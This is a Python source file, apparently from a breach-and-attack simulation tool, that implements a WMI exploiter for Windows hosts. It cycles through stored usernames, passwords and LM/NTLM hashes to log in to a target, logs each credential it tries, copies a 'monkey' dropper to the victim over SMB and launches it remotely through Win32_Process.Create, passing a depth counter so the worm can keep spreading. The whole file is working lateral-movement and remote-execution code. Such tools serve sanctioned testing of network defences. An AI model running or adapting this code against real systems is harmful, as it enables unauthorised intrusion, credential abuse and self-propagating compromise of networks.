118 lines
5.5 KiB
Python
118 lines
5.5 KiB
Python
import logging
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import ntpath
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import socket
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import traceback
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from impacket.dcerpc.v5.rpcrt import DCERPCException
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from exploit import HostExploiter
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from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
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from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
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from tools import build_monkey_commandline
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LOG = logging.getLogger(__name__)
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class WmiExploiter(HostExploiter):
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_TARGET_OS_TYPE = ['windows']
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def __init__(self, host):
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super(WmiExploiter, self).__init__(host)
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self._config = __import__('config').WormConfiguration
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self._guid = __import__('config').GUID
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@WmiTools.dcom_wrap
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def exploit_host(self):
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src_path = get_target_monkey(self.host)
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if not src_path:
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LOG.info("Can't find suitable monkey executable for host %r", self.host)
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return False
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creds = self._config.get_exploit_user_password_or_hash_product()
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for user, password, lm_hash, ntlm_hash in creds:
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LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
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self.host, user, password, lm_hash, ntlm_hash)
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wmi_connection = WmiTools.WmiConnection()
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try:
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wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
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except AccessDeniedException:
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self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
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LOG.debug("Failed connecting to %r using WMI with "
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"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
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self.host, user, password, lm_hash, ntlm_hash)
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continue
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except DCERPCException:
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self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
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LOG.debug("Failed connecting to %r using WMI with "
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"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
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self.host, user, password, lm_hash, ntlm_hash)
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continue
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except socket.error:
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LOG.debug("Network error in WMI connection to %r with "
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"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
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self.host, user, password, lm_hash, ntlm_hash)
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return False
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except Exception as exc:
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LOG.debug("Unknown WMI connection error to %r with "
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"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
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self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
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return False
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self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
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# query process list and check if monkey already running on victim
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process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
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fields=("Caption",),
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where="Name='%s'" % ntpath.split(src_path)[-1])
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if process_list:
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wmi_connection.close()
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LOG.debug("Skipping %r - already infected", self.host)
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return False
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# copy the file remotely using SMB
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remote_full_path = SmbTools.copy_file(self.host,
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src_path,
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self._config.dropper_target_path,
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user,
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password,
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lm_hash,
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ntlm_hash,
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self._config.smb_download_timeout)
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if not remote_full_path:
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wmi_connection.close()
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return False
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# execute the remote dropper in case the path isn't final
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elif remote_full_path.lower() != self._config.dropper_target_path.lower():
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cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
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build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
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else:
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cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
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build_monkey_commandline(self.host, get_monkey_depth() - 1)
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# execute the remote monkey
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result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
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ntpath.split(remote_full_path)[0],
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None)
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if (0 != result.ProcessId) and (0 == result.ReturnValue):
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LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
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remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
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success = True
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else:
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LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
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remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
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success = False
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result.RemRelease()
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wmi_connection.close()
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return success
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return False
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